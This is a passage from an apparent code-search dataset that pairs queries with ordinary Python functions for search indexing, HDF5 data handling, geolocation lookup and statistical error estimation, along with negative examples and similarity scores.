format\\n\\tnameFIle=names.get_first_name()\\n\\tjsonfilename=nameFIle+'_basic_search_fda.json'\\n\\tjsonfilepath=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'results', jsonfilename)\\n\\tjsonfileoutput= open(jsonfilepath,'w')\\n\\tjfinaldata=[]\\n\\tes.indices.refresh(index=\\\"mrmassaydb-index\\\")\\n\\t#elasticsearch will search data\\n\\tres=helpers.scan(client=es,scroll='2m',index=\\\"mrmassaydb-index\\\", doc_type=\\\"mrmassaydb-type\\\",query=query,request_timeout=30)\\n\\tjfinaldata=[]\\n\\t#if data is valid based on uniprotkb release then it will display\\n\\tfor i in res:\\n\\t\\tjdic=i['_source']\\n\\t\\tjdic={str(tkey):force_text(tvalue) for tkey,tvalue in jdic.items()}\\n\\t\\tif jdic[\\\"UniprotKb entry status\\\"] ==\\\"Yes\\\" and jdic['UniProtKB Accession'] !='502':\\n\\t\\t\\tjdic[\\\"PPI\\\"] =\\\"View\\\"\\n\\t\\t\\tjdic[\\\"sel\\\"] =\\\"\\\"\\n\\t\\t\\tjdic[\\\"Drug Bank\\\"]=jdic[\\\"Drug Bank\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Drug Bank\\\"]=jdic[\\\"Drug Bank\\\"].replace('<br>','|')\\n\\t\\t\\tjdic[\\\"SRMAtlas URL\\\"]=jdic[\\\"SRMAtlas URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Passel URL\\\"]=jdic[\\\"Passel URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"CPTAC URL\\\"]=jdic[\\\"CPTAC URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Panoramaweb URL\\\"]=jdic[\\\"Panoramaweb URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"PeptideTracker URL\\\"]=jdic[\\\"PeptideTracker URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\t#if jdic[\\\"Pathway Name\\\"].lower() !='na':\\n\\t\\t\\t#\\tjdic[\\\"Pathway Name\\\"]=re.sub(r\\\"(\\\\w)([A-Z])\\\",r\\\"\\\\1|\\\\2\\\",jdic[\\\"Pathway Name\\\"])\\n\\t\\t\\tjdic[\\\"Mean Concentration\\\"] =jdic[\\\"Mean Concentration\\\"].replace('fmol/','fmol/µ')\\n\\t\\t\\tjdic[\\\"Concentration\\\"] =jdic[\\\"Concentration\\\"].replace('fmol/','fmol/µ')\\n\\t\\t\\tjfinaldata.append(jdic)\\n\\tes.indices.refresh(index=\\\"mrmassaydb-index\\\")\\n\\t#checking any result generated by database\\n\\tfoundHits=len(jfinaldata)\\n\\t#storing only 10000 rows in json format\\n\\tjson.dump(jfinaldata[:10000],jsonfileoutput)\\n\\tjsonfileoutput.close()\\n\\t# if result found then do other job\\n\\tif foundHits >0:\\n\\t\\tstatsummary=summaryStatcal(jfinaldata) # sent data to this funcation for generating stat\\n\\t\\tpathwaychart=statsummary['pathwaychart']\\n\\t\\tpathwaychart=[i[:2] for i in pathwaychart]\\n\\t\\tspecieslist=statsummary['specieslist']\\n\\t\\ttotallist=statsummary['total']\\n\\t\\tsubcell=statsummary['subcell']\\n\\t\\tgodic=statsummary['godic']\\n\\t\\tjvennprot=statsummary['jevennstat'][0]\\n\\t\\tjvennpep=statsummary['jevennstat'][1]\\n\\t\\tmrmdatabase=statsummary['jevennstat'][2]\\n\\t\\tsortedgodic=OrderedDict(sorted(godic.items(), key=lambda t: t[1])) # sorting GO data\\n\\t\\tupdatedgodic=dict(list(sortedgodic.items()))\\n\\t\\tpepseqdataseries=ast.literal_eval(json.dumps(statsummary['pepseqdataseries'])) #dumping data into json format\\n\\t\\tprodataseries=statsummary['prodataseries']\\n\\t\\tunqisostat=statsummary['unqisostat']\\n\\t\\tjsonfilepathStat=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'statsummary', jsonfilename) #storing stat result in json format\\n\\t\\tjsonfileoutputStat= open(jsonfilepathStat,'w')\\n\\t\\tjson.dump(statsummary,jsonfileoutputStat)\\n\\t\\tjsonfileoutputStat.close()\\n\\t\\turlname=\\\"'/resultFile/jsonData/resultJson/basicsearch/results/\\\"+jsonfilename+\\\"'\\\"\\n\\n\\t\\tcontextindex={\\n\\t\\t\\t\\\"filename\\\":urlname,\\\"colname\\\":json.dumps(colname),'foundHits':foundHits,\\n\\t\\t\\t'pathwaychart':pathwaychart[:11],'specieslist':specieslist,\\n\\t\\t\\t'totallist':totallist,'subcell':subcell,\\n\\t\\t\\t'updatedgodic':updatedgodic,'pepseqdataseries':pepseqdataseries,\\n\\t\\t\\t'prodataseries':prodataseries,'unqisostat':unqisostat,\\n\\t\\t\\t'jvennprot':json.dumps(jvennprot),'jvennpep':json.dumps(jvennpep),'jvennmrmdb':json.dumps(mrmdatabase)\\n\\t\\t\\t}\\n\\t\\treturn render(request,'fdaAssay.html',contextindex)\\n\\telse:\\n\\t\\treturn render(request,'fdaAssay.html',{'foundHits':foundHits})\",\n \"def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\\n\\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\\n field = traj_grp[field_path]\\n\\n # make sure this is a feature vector\\n assert len(field_data.shape) > 1, \\\\\\n \\\"field_data must be a feature vector with the same number of dimensions as the number\\\"\\n\\n # of datase new frames\\n n_new_frames = field_data.shape[0]\\n\\n # check the field to make sure it is not empty\\n if all([i == 0 for i in field.shape]):\\n\\n # check the feature shape against the maxshape which gives\\n # the feature dimensions for an empty dataset\\n assert field_data.shape[1:] == field.maxshape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n # if it is empty resize it to make an array the size of\\n # the new field_data with the maxshape for the feature\\n # dimensions\\n feature_dims = field.maxshape[1:]\\n field.resize( (n_new_frames, *feature_dims) )\\n\\n # set the new data to this\\n field[0:, ...] = field_data\\n\\n else:\\n # make sure the new data has the right dimensions against\\n # the shape it already has\\n assert field_data.shape[1:] == field.shape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n\\n # append to the dataset on the first dimension, keeping the\\n # others the same, these must be feature vectors and therefore\\n # must exist\\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\\n # add the new data\\n field[-n_new_frames:, ...] = field_data\",\n \"def create_index_item(doc, destination_index):\\n\\n action = { 'index' : { '_index' : destination_index, '_type' : doc['_type'] } }\\n data = doc['_source']\\n return action, data\",\n \"def country_lookup(input_file, output_file, field_index):\\n # Load existing output into memory\\n # This is so if script crashes half way through it picks up where it left off.\\n # (Touch output file before starting)\\n existingOutput = []\\n with open(output_file) as read_out_fp:\\n csvreader = csv.reader(read_out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\\n header = next(csvreader)\\n for row in csvreader:\\n existingOutput.append(row)\\n\\n # Main loop over input\\n with open(input_file) as in_fp:\\n with open(output_file, \\\"w\\\", newline=\\\"\\\") as out_fp:\\n csvreader = csv.reader(in_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\\n csvwriter = csv.writer(out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR, quoting=csv.QUOTE_MINIMAL)\\n header = next(csvreader)\\n header.append('COUNTRY-FROM-LAT-LNG')\\n csvwriter.writerow(header)\\n\\n for row in csvreader:\\n\\n # If there is data for this already in output, just use that and don't look up again\\n if len(existingOutput) > 0:\\n\\n existing_row = existingOutput.pop(0)\\n\\n # The existing row we got from output should match the input row we are trying to process\\n # Let's check that!\\n if existing_row[0] != row[0] or \\\\\\n existing_row[1] != row[1] or \\\\\\n existing_row[2] != row[2] or \\\\\\n existing_row[3] != row[3] or \\\\\\n existing_row[4] != row[4] or \\\\\\n existing_row[5] != row[5]:\\n print(\\\"EXISTING ROW PROBLEM\\\")\\n print(', '.join(existing_row))\\n print(', '.join(row))\\n exit(-1)\\n\\n csvwriter.writerow(existing_row)\\n\\n # No data already - we need to look up ourselves\\n else:\\n\\n # Some rows are empty latlng\\n if row[field_index].strip():\\n\\n latlngfielddata = row[field_index].strip()\\n # Some data entries have multiple spaces between lat lng, some have 3,\\n # So this line is done twice to always bring it back to 1 space.\\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\\n lat, lng = latlngfielddata.split(LATLNG_FIELD_SPLIT_CHAR)\\n url = 'http://api.geonames.org/countryCode?lat={}&lng={}&username={}'.format(lat.strip(), lng.strip(), GEONAMES_USERNAME)\\n r = requests.get(url)\\n if r.status_code != 200:\\n print(\\\"API PROBLEM\\\")\\n print(', '.join(row))\\n print(r.status_code)\\n print(r.text)\\n exit(-1)\\n\\n if r.text.strip() == 'ERR:15:no country code found':\\n row.append('')\\n elif r.text.startswith(\\\"ERR\\\"):\\n print(\\\"API PROBLEM\\\")\\n print(', '.join(row))\\n print(r.status_code)\\n print(r.text)\\n exit(-1)\\n else:\\n row.append(r.text.strip())\\n else:\\n row.append('')\\n\\n csvwriter.writerow(row)\\n\\n time.sleep(SLEEP)\\n\\n #exit()\",\n \"def write_to_Index_BM25F(self, term_dict_bm25f, inverted_indexes):\\n for term in term_dict_bm25f.get_keys():\\n if (len(term) > 255):\\n continue\\n\\n cord_uid = term_dict_bm25f.get_value(term)[0]\\n field_dict = term_dict_bm25f.get_value(term)[1]\\n \\n if term in inverted_indexes:\\n inverted_indexes[term][cord_uid] = field_dict\\n else:\\n inverted_indexes[term] = dict()\\n inverted_indexes[term][cord_uid] = field_dict\\n return inverted_indexes\",\n \"def update_index(signum):\\n cdx = redis_cli.zrange('ipfs:cdxj', 0, -1)\\n cdx = ''.join(cdx)\\n buff = BytesIO(cdx)\\n\\n # Add New Index\\n res = ipfs_api.add(CustomNameStream(buff, 'index.cdxj'))\\n print('Updating Index: ' + str(res))\\n\\n # Register with IPNS\\n res = ipfs_api.name_publish(res['Hash'])\\n print res\",\n \"def create_index_tfidf(lines, numDocuments):\\n \\n index=collections.defaultdict(list)\\n tf=collections.defaultdict(list) #term frequencies of terms in documents (documents in the same order as in the main index)\\n df=collections.defaultdict(int) #document frequencies of terms in the corpus\\n idf=collections.defaultdict(float)\\n with Bar('Creating tf-idf index', max=len(lines)) as bar:\\n for key in lines:\\n page_id = key \\n terms = getTerms(lines[key]) \\n\\n ## create the index for the **current page** and store it in termdictPage\\n ## termdictPage in form ==> { ‘term1’: [currentdoc, [list of positions]], ...,‘termn’: [currentdoc, [list of positions]]}\\n\\n termdictPage={}\\n\\n for position, term in enumerate(terms): \\n try:\\n # if the term is already in the dict append the position to the corrisponding list\\n termdictPage[term][1].append(position) \\n except:\\n # Add the new term as dict key and initialize the array of positions and add the position\\n termdictPage[term]=[page_id, array('I',[position])] \\n\\n #normalize term frequencies\\n norm=0\\n for term, posting in termdictPage.items(): \\n # posting ==> [currentdoc, [list of positions]] \\n norm+=len(posting[1])**2\\n norm=math.sqrt(norm)\\n\\n\\n #calculate the tf(dividing the term frequency by the above computed norm) and df weights\\n for term, posting in termdictPage.items(): \\n # append the tf for current term (tf = term frequency in current doc/norm)\\n tf[term].append(np.round(len(posting[1])/norm,4)) ## SEE formula (1) above\\n #increment the document frequency of current term (number of documents containing the current term)\\n df[term] += 1 \\n\\n #merge the current page index with the main index\\n for termpage, postingpage in termdictPage.items():\\n index[termpage].append(postingpage)\\n\\n # Compute idf following the formula (3) above. HINT: use np.log\\n bar.next()\\n for term in df:\\n idf[term] = np.round(np.log(float(numDocuments/df[term])),4)\\n \\n return (index, tf, df, idf)\",\n \"def _init_index(self):\\n\\n if self._check_idx:\\n self._index = bamnostic.bai.Bai(self._index_path)\\n self.__nocoordinate = self._index.n_no_coor\\n self.__mapped = sum(self._index.unmapped[mapped].n_mapped for mapped in self._index.unmapped) + self.nocoordinate\\n self.__unmapped = sum(self._index.unmapped[unmapped].n_unmapped for unmapped in self._index.unmapped) + self.nocoordinate\",\n \"def _save_rep_prof_index_internally(self):\\n\\n self.data.solar_meta[self.__solar_rpi_n] = self.data.solar_meta.index\\n self.data.wind_meta[self.__wind_rpi_n] = self.data.wind_meta.index\",\n \"def _add_traj_field_data(self,\\n run_idx,\\n traj_idx,\\n field_path,\\n field_data,\\n sparse_idxs=None,\\n ):\\n\\n # get the traj group\\n traj_grp = self._h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\\n\\n # if it is a sparse dataset we need to add the data and add\\n # the idxs in a group\\n if sparse_idxs is None:\\n\\n # first require that the dataset exist and is exactly the\\n # same as the one that already exists (if indeed it\\n # does). If it doesn't raise a specific error letting the\\n # user know that they will have to delete the dataset if\\n # they want to change it to something else\\n try:\\n dset = traj_grp.require_dataset(field_path, shape=field_data.shape, dtype=field_data.dtype,\\n exact=True,\\n maxshape=(None, *field_data.shape[1:]))\\n except TypeError:\\n raise TypeError(\\\"For changing the contents of a trajectory field it must be the same shape and dtype.\\\")\\n\\n # if that succeeds then go ahead and set the data to the\\n # dataset (overwriting if it is still there)\\n dset[...] = field_data\\n\\n else:\\n sparse_grp = traj_grp.create_group(field_path)\\n # add the data to this group\\n sparse_grp.create_dataset(DATA, data=field_data,\\n maxshape=(None, *field_data.shape[1:]))\\n # add the sparse idxs\\n sparse_grp.create_dataset(SPARSE_IDXS, data=sparse_idxs,\\n maxshape=(None,))\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.60469466","0.5940006","0.579213","0.5747278","0.5647309","0.5565693","0.5516555","0.5514874","0.53720456","0.52844715","0.52218103","0.51000774","0.5094659","0.5091636","0.50427294","0.5030341","0.49658278","0.495945","0.49500096","0.4943826","0.4943691","0.49208853","0.49208853","0.49135455","0.49022686","0.4880813","0.4873121","0.4873121","0.48664615","0.48630795","0.48461232","0.48405242","0.4834258","0.48289922","0.4824035","0.4816687","0.48153096","0.4815124","0.47999525","0.47932652","0.47901887","0.47893092","0.4787515","0.4785567","0.47842798","0.4779514","0.4768989","0.47538897","0.4751719","0.4737384","0.47330528","0.47235048","0.47055256","0.46953255","0.4694509","0.46892974","0.4667513","0.46633303","0.46399197","0.46377668","0.463637","0.4609614","0.46058333","0.4603146","0.45938864","0.45893967","0.45847917","0.45777288","0.45758668","0.45751458","0.45688716","0.45670512","0.45669317","0.45656198","0.4558454","0.454552","0.4537534","0.45184696","0.4517307","0.45141572","0.4513993","0.4508823","0.45036942","0.44923383","0.44915557","0.4486306","0.4485041","0.44817597","0.4474149","0.44702074","0.44614455","0.4453435","0.44526178","0.444669","0.44436678","0.44426513","0.44413054","0.44397473","0.44357687","0.4435124"],"string":"[\n \"0.60469466\",\n \"0.5940006\",\n \"0.579213\",\n \"0.5747278\",\n \"0.5647309\",\n \"0.5565693\",\n \"0.5516555\",\n \"0.5514874\",\n \"0.53720456\",\n \"0.52844715\",\n \"0.52218103\",\n \"0.51000774\",\n \"0.5094659\",\n \"0.5091636\",\n \"0.50427294\",\n \"0.5030341\",\n \"0.49658278\",\n \"0.495945\",\n \"0.49500096\",\n \"0.4943826\",\n \"0.4943691\",\n \"0.49208853\",\n \"0.49208853\",\n \"0.49135455\",\n \"0.49022686\",\n \"0.4880813\",\n \"0.4873121\",\n \"0.4873121\",\n \"0.48664615\",\n \"0.48630795\",\n \"0.48461232\",\n \"0.48405242\",\n \"0.4834258\",\n \"0.48289922\",\n \"0.4824035\",\n \"0.4816687\",\n \"0.48153096\",\n \"0.4815124\",\n \"0.47999525\",\n \"0.47932652\",\n \"0.47901887\",\n \"0.47893092\",\n \"0.4787515\",\n \"0.4785567\",\n \"0.47842798\",\n \"0.4779514\",\n \"0.4768989\",\n \"0.47538897\",\n \"0.4751719\",\n \"0.4737384\",\n \"0.47330528\",\n \"0.47235048\",\n \"0.47055256\",\n \"0.46953255\",\n \"0.4694509\",\n \"0.46892974\",\n \"0.4667513\",\n \"0.46633303\",\n \"0.46399197\",\n \"0.46377668\",\n \"0.463637\",\n \"0.4609614\",\n \"0.46058333\",\n \"0.4603146\",\n \"0.45938864\",\n \"0.45893967\",\n \"0.45847917\",\n \"0.45777288\",\n \"0.45758668\",\n \"0.45751458\",\n \"0.45688716\",\n \"0.45670512\",\n \"0.45669317\",\n \"0.45656198\",\n \"0.4558454\",\n \"0.454552\",\n \"0.4537534\",\n \"0.45184696\",\n \"0.4517307\",\n \"0.45141572\",\n \"0.4513993\",\n \"0.4508823\",\n \"0.45036942\",\n \"0.44923383\",\n \"0.44915557\",\n \"0.4486306\",\n \"0.4485041\",\n \"0.44817597\",\n \"0.4474149\",\n \"0.44702074\",\n \"0.44614455\",\n \"0.4453435\",\n \"0.44526178\",\n \"0.444669\",\n \"0.44436678\",\n \"0.44426513\",\n \"0.44413054\",\n \"0.44397473\",\n \"0.44357687\",\n \"0.4435124\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.4619004"},"document_rank":{"kind":"string","value":"61"}}},{"rowIdx":14492,"cells":{"query":{"kind":"string","value":"Error estimation. Calculations according to ANALYTICAL CHEMISTRY, VOL. 60, NO. 8, APRIL 15, 1988 notations"},"document":{"kind":"string","value":"def error_estimation_simplex(vertex_vector_h, vertex_chi_sq_h, func):\n # print(\"\\nvertex_vector\")\n # print(vertex_vector_h)\n # print(\"\\nvertex_chi_sq\")\n # print(vertex_chi_sq_h)\n\n # temporary solution\n k, hh = vertex_vector_h.shape # hh = k-1\n theta_0 = vertex_vector_h[0, :]\n m_q = numpy.zeros((k-1, k-1))\n vertex_vector = numpy.zeros(vertex_vector_h.shape, dtype=float)\n vertex_vector[0, :] = theta_0\n max_radius = numpy.zeros(k-1, dtype=float)\n for i in range(1, k):\n theta_i = vertex_vector_h[i, :]\n rand_radius = numpy.abs(theta_i-theta_0)\n max_radius = numpy.max(numpy.vstack([max_radius, rand_radius]), axis=0)\n # print(\"max_radius \", max_radius)\n for i in range(1, k):\n radius_h = numpy.zeros(k-1, dtype=float)\n radius_h[i-1] = max_radius[i-1]\n vertex_vector[i, :] = theta_0+radius_h\n\n l_chi_sq = []\n for i in range(0, k):\n theta_i = vertex_vector_h[i, :]\n chi_sq = func(theta_i)\n l_chi_sq.append(chi_sq)\n vertex_chi_sq = numpy.array(l_chi_sq, dtype=float)\n\n # print(\"hh, k: \", hh, k)\n # print(\"theta_0: \", theta_0)\n chi_sq_0 = vertex_chi_sq[0]\n # print(\"chi_sq_0: \", chi_sq_0)\n v_a = numpy.zeros(k-1)\n m_b = numpy.zeros((k-1, k-1))\n m_q = numpy.zeros((k-1, k-1))\n m_chi_sq_0i = numpy.zeros(k-1)\n # print(\"step 1\")\n for i in range(1, k):\n theta_i = vertex_vector[i, :]\n theta_0i = 0.5*(theta_0+theta_i)\n chi_sq_0i = func(theta_0i)\n # print(\"ii: {:} {:}\".format(i, chi_sq_0i))\n m_chi_sq_0i[i-1] = chi_sq_0i\n m_q[i-1, :] = theta_i-theta_0\n\n # print(\"step 2\")\n for i in range(1, k):\n chi_sq_i = vertex_chi_sq[i]\n theta_i = vertex_vector[i, :]\n chi_sq_0i = m_chi_sq_0i[i-1]\n\n a_i = 4.*chi_sq_0i - chi_sq_i - 3.*chi_sq_0\n v_a[i-1] = a_i\n\n b_ii = 2.*(chi_sq_i + chi_sq_0 - 2.*chi_sq_0i)\n m_b[i-1, i-1] = b_ii\n\n for j in range(i+1, k):\n chi_sq_0j = m_chi_sq_0i[j-1]\n theta_j = vertex_vector[j, :]\n theta_ij = 0.5*(theta_i+theta_j)\n chi_sq_ij = func(theta_ij)\n # print(\"ij: {:} {:} {:}\".format(i, j, chi_sq_ij))\n b_ij = 2.*(chi_sq_ij + chi_sq_0 - chi_sq_0i - chi_sq_0j)\n m_b[i-1, j-1] = b_ij\n m_b[j-1, i-1] = b_ij\n # print(\"step 3\")\n m_ib = numpy.linalg.inv(m_b)\n m_qib = numpy.matmul(m_q, m_ib)\n v_qiba = numpy.matmul(m_qib, v_a)\n # theta_min = theta_0 - v_qiba\n m_qibqt = numpy.matmul(m_qib, m_q.transpose())\n m_error = 2.*chi_sq_0*m_qibqt\n\n # print(\"\\nm_q\")\n # print(m_q)\n # print(\"\\nm_b\")\n # print(m_b)\n # print(\"\\nm_ib\")\n # print(m_ib)\n # print(\"\\nv_a\")\n # print(v_a)\n # print(\"\\ntheta_min: \", theta_min)\n # print(\"\\ntheta_0: \", theta_0)\n\n # print(\"\\nm_error: \", m_error)\n # print(50*\"*\")\n return m_error, numpy.abs(v_qiba)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def tracking_error(port_returns, market_returns):\n\n return np.std(port_returns - market_returns)","def tracking_error(port_returns, market_returns):\n\n return np.std(port_returns - market_returns)","def stderr(predicted, actual):\n return np.sqrt(mse(predicted, actual))","def get_error(self, params):\n return self.endog - self.predict(params)","def calc_error_dist(self):\n pass","def OF1_CalcErrorEstimation(param_list, args):\n #return (sum( \\\n #( OF1_SumOfGauss(param_list, classNum, g_lvls) - histogram ) ** 2) / g_lvls.size) + \\\n #(abs(sum(param_list[:classNum]) - 1) * o)\n return (sum( \\\n ( OF1_SumOfGauss(param_list, args[0], args[1]) - args[2] ) ** 2) / args[1].size) + \\\n (abs(sum(param_list[:args[0]]) - 1) * args[3])","def error(self, trainset: ([], [])):\n # MSE = Σ | d – y |^2 / n\n error_sum = 0.0\n for index, example in enumerate(trainset):\n # | d – y |^2\n output = self.activate(example[0])\n\n target = example[1][0]\n\n error = target - output\n error_sum += error ** 2\n\n # Σ |error_sum| / n\n error_sum = error_sum / len(trainset)\n return error_sum","def error_compute(self):\n self.tt_error = np.linalg.norm(self.rel_error)\n if self.global_rank==0:print('Overall error is::',self.tt_error)\n return {'NMF': self.rel_error, 'tt': self.tt_error}","def error(self,pt,eta):\n return self._data[self.__ptBin(pt)][self.__etaBin(eta)][1]","def calculate_error(self):\n \n delta = self.Y - self.T\n error = delta.dot(delta) / self.N\n error = format(error, '.5f')\n \n self.errors.append(error)","def error(line, data): # error function\n # Metric: Sum of squared Y-axis differences\n err = np.sum((data[:, 1] - (line[0] * data[:, 0] + line[1])) ** 2)\n return err","def _calculate_measurement_error(self): \n \n # Calculate Hartmann Spot\n # FIXME what are factor_1, factor_2 ???\n factor_1, factor_2 = 206265*5.89e-7, 206265*6.5e-7\n term1, term2 = factor_1/self.actuator_spacing, factor_2/self.r0\n hartmann_spot = np.max([term1, term2])\n \n # Calculate SNR \n n_pix=4 # FIXME spreadsheet says not to change this idk why?\n sample_time = 1/(10*self.controller_frequency)\n brightness = (8.9e5)*10**((0-self.guide_star_mag)/2.5)\n n_photons = brightness*sample_time*((100*self.actuator_spacing)**2)\n snr = n_photons/np.sqrt(n_photons + n_pix*(self.sigma_readnoise)**2)\n\n # Calculate noise propagator \n degrees_of_freedom = np.round((np.pi/4) * (self.telescope_diameter/self.actuator_spacing)**2)\n factor_1, factor_2 = 0.0536, 0.0795 # FIXME WHAT THE HECK IS THIS\n if self.aperture == 'circular':\n factor_1, factor_2 = 0.0068, 0.0796\n noise_propagator = np.sqrt(2*(factor_1 + factor_2*np.log(degrees_of_freedom)))\n\n # Calculate close loop averaging\n controller_over_frame = 1/10\n close_loop_averaging = np.sqrt(2*controller_over_frame)*np.arctan(1/(2*controller_over_frame))\n sigma_measurement = noise_propagator * close_loop_averaging * (self.actuator_spacing*1e9) * (hartmann_spot/snr*4.84814e-6)\n self.sigma_measurement = sigma_measurement # in nm","def diff_of_errors(self):\n self.e_of_e = self.azimuth_error - self.altitude_error\n return self.e_of_e","def error_calculation_test(self):\n dataOrg = [[1,1], [2,2], [3,3], [4,4], [5,5], [6,6], [7,8], [7.3, 5], [8, 0], [9,10]]\n dataCalc = [[1,3], [2,5], [3,0], [4,3], [5,5], [6.1,6], [7,3], [7.3, 5], [8, 0], [9,9]]\n # abs difference: 2 3 3 1 0 NA 5 0 NA 1\n # local errors: 200 150 200 50 0 NA 125 0 NA 20\n # sum: 745\n\n tsOrg = TimeSeries.from_twodim_list(dataOrg)\n tsCalc = TimeSeries.from_twodim_list(dataCalc)\n\n wmape = WeightedMeanAbsolutePercentageError()\n wmape.initialize(tsOrg, tsCalc)\n assert str(wmape.get_error())[:6] == \"93.125\"","def error(Y, X):\n return (Y - X) ** 2","def compute_error(self):\n \n self.error = pd.DataFrame()\n \n for name in self.conf[\"w_sizes\"].keys():\n \n self.error[f\"mae {name}\"] = self.predict[[name, \"test\"]].apply(lambda x: mae(x), axis=1)\n self.error[f\"mape {name}\"] = self.predict[[name, \"test\"]].apply(lambda x: MAPE(x[0], x[1]), axis=1)\n \n self.predict['error'] = self.error.filter(like='mae').apply(lambda r: tuple(r), axis=1).apply(np.array)","def calculate_ao_error_terms(self):\n\n self._calculate_r0()\n self._calculate_greenwood_frequency()\n \n self._calculate_diffraction_limit() # in mas\n self._calculate_actuators_across()\n self._calculate_spatial_frequency_cutoff()\n\n self._calculate_fitting_error()\n self._calculate_measurement_error()\n self._calculate_anisoplatanism_error()\n self._calculate_bandwidth_error()","def get_error_estimates(self, Y, M1, M2=None):\n # First K0 and K1\n Mminus = M1\n if M2 is None:\n Mplus = M1\n else:\n Mplus = M2\n if self.Cp0 != 0 and self.Cp1 != 0 and self.Cm != 0:\n Cp0 = self.Cp0\n Cp1 = self.Cp1\n Cm = self.Cm\n else:\n PP = self.principal_part()\n Cmax = max(PP.values())\n Kmax = 0\n for t in PP.keys():\n if isinstance(t, tuple):\n (c, l) = t\n elif isinstance(t, (int, Integer)):\n (c, l) = rn_from_D(self._space.multiplier(), t)\n else:\n raise ValueError(\"Incorrect principal part: t={0}\".format(t))\n if c in self._space.multiplier().D():\n tmp = l + self._space.multiplier().Qv[self._space.index_set().index(c)]\n elif c in range(len(self._space.multiplier().Qv)):\n tmp = l + self._space.multiplier().Qv[c]\n else:\n raise ValueError(\"Incorrect principal part: c,l={0},{1}\".format(c, l))\n if(abs(tmp) > Kmax):\n Kmax = abs(tmp)\n [Cp0, Cp1] = self._space.get_Cp(Cmax)\n Cm = self._space.get_Cm(Kmax, Cmax)\n self.Cp0 = Cp0\n self.Cp1 = Cp1\n self.Cm = Cm\n\n fak = len(self._space.index_set())\n # print \"Cp0,Cp1,Cm=\",Cp0,Cp1,Cm\n # print \"fak=\",fak\n\n er1 = fak * self._space.err_est_vv_hwmf_neg(Y, Mminus, Cm)\n er2 = fak * self._space.err_est_vv_hwmf_pos(Y, Mplus, Cp0, Cp1)\n return [er1, er2]","def err_func(x,rv,valore,specn,lcrop,models='da2014'):\n tmp = tmp_func(x[0], x[1], rv, specn, lcrop, models)\n if tmp != 1: return abs(tmp[3]-(valore+1.)) #this is quantity that gets minimized \n else: return 1E30","def compute_errors(gt, pred):\n thresh = np.maximum((gt / pred), (pred / gt))\n a1 = (thresh < 1.25 ).mean()\n a2 = (thresh < 1.25 ** 2).mean()\n a3 = (thresh < 1.25 ** 3).mean()\n\n rmse = (gt - pred) ** 2\n rmse = np.sqrt(rmse.mean())\n\n rmse_log = (np.log(gt) - np.log(pred)) ** 2\n rmse_log = np.sqrt(rmse_log.mean())\n\n abs_rel = np.mean(np.abs(gt - pred) / gt)\n\n sq_rel = np.mean(((gt - pred) ** 2) / gt)\n\n return abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3","def error(clf, X, y, ntrials=100, test_size=0.2) :\n\n train_error = 0\n test_error = 0\n ### ========== TODO : START ========== ###\n # compute cross-validation error over ntrials\n # hint: use train_test_split (be careful of the parameters)\n for i in range(0,ntrials, 1):\n #get the value of the error for each division\n #train on the test data for the clf\n #test also on the data\n #X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.33, random_state = 42)\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size= test_size, random_state=i)\n #now find the error\n #first train the model\n #then predict\n #check the accuracy\n clf.fit(X_train,y_train)\n y_pred = clf.predict(X_train)\n #now find the error for the train_error\n train_err = 1 - metrics.accuracy_score(y_train, y_pred, normalize=True)\n train_error += train_err\n\n y_pred = clf.predict(X_test)\n test_err = 1 - metrics.accuracy_score(y_test, y_pred, normalize=True)\n test_error += test_err\n\n\n #get the average\n train_error = float(train_error)/((1-test_size)*len(X))\n test_error = float(test_error)/((test_size)*len(X))\n ### ========== TODO : END ========== ###\n\n return train_error, test_error","def _error(self, Y, T):\n err = np.mean((Y - T)**2)\n return err","def transformMeasurementError(self):\n var = self.model.observationError**2\n self.errShD = self.model.observationError\n self.errSinvD = 1.0/var\n self.errSinvhD = np.sqrt(self.errSinvD)","def calculate_energy_conservation_error(self):\n assert self.data is not None\n # calculate total energy at start and end of simulation\n energy_start = self.measure_total_energy(self.t0)\n energy_end = self.measure_total_energy(self.t1)\n \n # calculate accuracy\n error = abs(1.0 - energy_start/energy_end)\n \n return error","def compute_errors(gt, pred, selector):\n gt = gt[selector]\n pred = pred[selector]\n\n thresh = np.maximum((gt / pred), (pred / gt))\n a1 = (thresh < 1.25 ).mean()\n a2 = (thresh < 1.25 ** 2).mean()\n a3 = (thresh < 1.25 ** 3).mean()\n\n rmse = (gt - pred) ** 2\n rmse = np.sqrt(rmse.mean())\n\n rmse_log = (np.log(gt) - np.log(pred)) ** 2\n rmse_log = 